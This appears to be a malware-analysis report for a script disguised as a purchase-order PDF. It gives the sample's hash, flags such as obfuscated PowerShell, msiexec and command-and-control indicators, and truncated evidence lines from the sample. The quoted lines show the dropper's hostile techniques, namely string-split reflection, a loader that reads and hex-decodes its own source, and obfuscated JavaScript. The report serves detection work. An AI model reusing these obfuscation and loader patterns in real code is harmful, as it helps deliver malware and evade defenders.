Suspicious ^80% Download

Purchase_Orders 6790102700267992_for_Approval Globus Incorporated FZE_pdf.js

Obfuscated PowerShell, msiexec, C2 indicators

Batch fragmentation and junk-padding profileBatch extreme line-length bloat

SHA-256ab083b900539a539ac4a826c42795c464faa72b12cf7970ec5ad1b99ba8d79f7

URLhttps://mb-api.abuse.ch/api/v1/

Evidence

Batch delayed variable expansion lines 1–12

1/*
2rem
3
4if not defined FKUTXGUYWSLPL cd /d "%~dp0"
5setlocal EnableDelayedExpansion
6set "TECNRDQ=SystemRoot"
7set "QOCKLO=!%TECNRDQ%!"
⋯5 lines

PowerShell reads source lines line 31

31:54… '';$t=[type]('IO.Fil'+'e');foreach($l in $t.$('Get'+'Method')(('Read'+'AllLines'),[type[]]@([string])).Invoke($null,@($p))){$i=$l.IndexOf('set '+[char]34+'GZEFIB');if($i-ge0){$c=$l.Substring($i+11);if($c.End …

English function-word token "for" line 31

31:328… env:KHYV;$n=$h.Length/2;$b=New-Object byte[] $n;for($i=0;$i-lt$n;$i++){$b[$i]=[byte](([Convert]::('To'+'Byte')($h.Substring($i*2,2),16)+256-$k)%%25 …

msiexec unattended install switch line 187

187:3752… xAA4+kCsMxbbuz+j1U_FokNWNH33Q1y1rhgB5XPXMPPApF3IXqP_M0XTHffbi2OC/qn++IWKy2ns0kgt2iUi_CfjgtfZ9yKPK3GeWOIAAIL1Ralu/rAeF_HFfQu3tTIu/+3kQveMZis1+Y7DmaLh4w_U3hUDKCJLZ12OGLdXiiJWjQPQSCXrXT1_FXFKvSkiWNd …

English function-word token "this" lines 610–614

610:34… 
611var IDMUSAP = CBCRG.charAt(3100);
612var XLDS = this[MUEE][FDHDDZ](PDOV);
613var AVAUXIH = XLDS[ILZOI](WAAQXT);
614AVAUXIH("JDJQUG") = this[MUEE][ZAIKPC …